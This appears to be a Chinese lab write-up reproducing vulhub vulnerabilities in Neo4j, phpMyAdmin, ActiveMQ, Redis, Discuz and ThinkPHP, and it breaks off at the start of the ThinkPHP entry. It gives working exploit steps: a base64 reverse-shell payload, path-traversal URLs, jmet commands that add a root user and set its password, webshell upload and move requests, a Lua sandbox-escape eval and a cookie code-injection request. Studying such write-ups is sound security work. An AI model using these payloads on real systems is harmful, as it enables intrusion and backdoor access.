总字符数: 10.80K
代码: 3.25K, 文本: 3.19K
预计阅读时间: 28 分钟
Neo4j Shell Server 反序列化漏洞(CVE-2021-34371)
漏洞概述
Neo4j是一个开源图数据库管理系统.
在Neo4j 3.4.18及以前,如果开启了Neo4j Shell接口,攻击者将可以通过RMI协议以未授权的身份调用任意方法,其中setSessionVariable
方法存在反序列化漏洞.因为这个漏洞并非RMI反序列化,所以不受到Java版本的影响.
在Neo4j 3.5及之后的版本,Neo4j Shell被Cyber Shell替代.
利用版本:
- Neo4j <= 3.4.18
漏洞复现
环境搭建
如果你使用Linux或OSX系统,可以执行如下命令启动一个Neo4j 3.4.18:
1 | TARGET_IP=<your-ip> docker-compose up -d |
其中,环境变量TARGET_IP
需要制定靶场环境的IP地址.
如果你是Windows系统,请直接修改docker-compose.yml
,指定TARGET_IP
环境变量的值.
服务启动后,访问http://your-ip:7474
即可查看到Web管理页面,但我们需要攻击的是其1337端口,这个端口是Neo4j Shell端口,使用RMI协议通信.
下载Java RMI客户端,集成基于Rhino的Gadget,发送RMI请求:YOU-BASE64-ENCODE为反弹shell的base64编码后的东西前面用到过好多次了
java -jar rhino_gadget-1.0-SNAPSHOT-fatjar.jar rmi://受害机IP:1337 "bash -c {echo,YOU-BASE64-ENCODE}|{base64,-d}|{bash,-i}"
修复建议
- 升级到Neo4j 3.4.19及以上版本
phpmyadmin 4.8.1 远程文件包含漏洞 (CVE-2018-12613)
漏洞概述
利用版本:
4.8.0
4.8.1
漏洞复现
环境启动后,访问http://103.116.46.7:8080
. phpmyadmin 是”config”模式,所以我们可以直接登录
访问http://103.116.46.7:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
,可见/etc/passwd
被读取,说明文件包含漏洞存在
使用方式也比较简单,可以执行一下SELECT '<?=phpinfo()?>';
,然后查看自己的sessionid(中phpMyAdmin的值),然后包含session文件即可
修复建议
- 升级到最新版phpmyadmin
ActiveMQ 反序列化漏洞(CVE-2015-5254)
漏洞概述
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等.
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类.远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码.
漏洞复现
环境运行后,将监听61616和8161两个端口.其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口.
使用浏览器直接访问activemq,查看是否部署完毕
http://103.116.46.7:8161/admin/ (默认的用户名/密码为admin/admin)
漏洞利用过程如下:
- 构造(可以使用ysoserial)可执行命令的序列化对象
- 作为一个消息,发送给目标61616端口
- 访问web管理页面,读取消息,触发漏洞
使用jmet进行漏洞利用.首先下载jmet的jar文件,并在同目录下创建一个external文件夹
jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME.
执行:
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "ping 6b3chr.dnslog.cn" -Yp ROME 103.116.46.7 61616 |
此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://103.116.46.7:8161/admin/browse.jsp?JMSDestination=event
看到这个队列中所有消息
点击查看这条消息即可触发命令执行
远程添加root用户
执行jmet的命令添加test用户并将其添加到root组,返回http://103.116.46.7:8161/admin/browse.jsp?JMSDestination=event
页面,点击一下消息,触发它
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 test" -Yp ROME 103.116.46.7 61616 |
让我们再将passwd中的test的uid修改为0,使它拥有root权限,返回http://103.116.46.7:8161/admin/browse.jsp?JMSDestination=event
页面,点击一下消息,触发它.
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/test:x:0/g" /etc/passwd" -Yp ROME 103.116.46.7 61616 |
让我们再为test用户设置一个密码,返回http://103.116.46.7:8161/admin/browse.jsp?JMSDestination=event
页面,点击一下消息,触发它.
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "test:sd123456" | chpasswd" -Yp ROME 103.116.46.7 61616 |
到此为止,一个权限为root,密码为123456的用户即创建完毕.我们可以使用ssh直接远程登陆进入操作系统,并且还是最高权限.
ActiveMQ任意文件写入漏洞(CVE-2016-3088)
漏洞概述
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录.
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
- 其使用率并不高
- 文件操作容易出现漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用.
在测试过程中,可以关注ActiveMQ的版本,避免走弯路.
漏洞复现
环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在web控制台中.
访问http://103.116.46.7:8161/
看到web页面,说明环境已成功运行.
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求).所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞.
文件写入有几种利用方法:
- 写入webshell
- 写入cron或ssh key等文件
- 写入jar或jetty.xml等库和配置文件
写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径.
分别说一下上述几种利用方法.
写入webshell
前面说了,写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问.
默认的ActiveMQ账号密码均为admin
,首先访问http://103.116.46.7:8161/admin/test/systemProperties.jsp
,查看ActiveMQ的绝对路径:
然后上传webshell:
1 | PUT /fileserver/1.txt HTTP/1.1 |
移动到web目录下的api文件夹(/opt/activemq/webapps/api/a.jsp
)中
1 | MOVE /fileserver/1.txt HTTP/1.1 |
利用该版本存在的未授权访问漏洞,不用登录,访问http://103.116.46.7:8161/api/a.jsp?cmd=ls,下图可以看到成功执行命令
漏洞修复
ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除.建议用户升级至 5.14.0 及其以后版本
Redis 4-unacc未授权访问漏洞
漏洞复现
此靶机不要使用云服务器,否则后面无法连接
使用nmap扫描靶机端口
如下图所示,redis服务正常开启了,在6379端口
攻击机用直接用redis连接,发现可直接访问,还能通过info命令查看到服务器等一些有价值的信息
这足以证明存在未授权访问漏洞
接下来使用网上存在的 exp,先下载到本地,命令
1 | wget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/other/redis-rogue-getshell-master.zip |
成功GETSHELL并执行了whoami的命令
Redis Lua沙盒绕过命令执行(CVE-2022-0543)
漏洞概述
影响范围 : Debian 系的 Linux 发行版本 + Ubuntu
CVE-2022-0543 该 Redis 沙盒逃逸漏洞影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞, 漏洞形成原因在于系统补丁加载了一些redis源码注释了的代码
漏洞原理
redis一直有一个攻击面,就是在用户连接redis后,可以通过eval命令执行lua脚本.
但这个脚本跑在沙箱里,正常情况下无法执行命令,读取文件
所以这个CVE本质是一个沙箱绕过漏洞
Ubuntu/Debian/CentOS等这些发行版本会在原始软件的基础上打一些补丁包给Redis打了一个的补丁,增加了一个include, 下面是Debian通过shell使用make生成补丁包的源码 :
1 | debian/lua_libs_debian.c: |
luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package)
就是漏洞的来源,.
这段代码原本在redis源码里已经是被注释了的, 将其注释掉的原因就是for sandboxing concerns
Debian的这个补丁却把这句话重新写进去了, 导致在 Lua 沙箱中遗留了一个对象package
,攻击者可以利用这个package
对象提供的方法加载动态链接库liblua
里的函数,进而逃逸沙箱执行任意命令
借助 Lua 沙箱中遗留的变量package
的loadlib
函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
里的导出函数luaopen_io
在 Lua 中执行这个导出函数,即可获得io库,再使用其执行命令.
需要注意的一点是 : 不同系统下liblua5.1.so.0
的路径可能不同
我们可以利用这个模块,来加载任意Lua
库,最终逃逸沙箱,执行任意命令:
1 | local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); |
漏洞复现
直接通过
redis-cli -h 127.0.0.1
进入redis里面进行测试使用
eval
命令执行上述脚本:1
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0
最后的一点话 :
之所以Ubuntu也受到影响是因为Ubuntu基于Debian, 所以就存在着同样的问题
Discuz 7.x/6.x 全局变量防御绕过导致代码执行
漏洞概述
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞.
利用条件:
discuz 6.x / 7.x
request_order默认值为GP
漏洞复现
访问漏洞环境
http://192.168.164.128:8080/install/
数据库地址填写db,数据库名为discuz,数据库账号密码均为root.
访问首页
安装成功以后,直接找一个已经存在的帖子,向其发送数据包,利用burpsite工具修改Cookie值
1
2
3
4
5
6
7
8
9
10
11GET /viewthread.php?tid=7&extra=page%3D1 HTTP/1.1
Host: 192.168.164.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Upgrade-Insecure-Requests: 1修改完成后,点击发送请求,查看返回包
修复建议
- 升级版本
ThinkPHP
ThinkPHP 5 5.0.22/5.1.29 远程代码执行漏洞
漏洞概述
ThinkPHP是一款运用极广的PHP开发框架.其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞.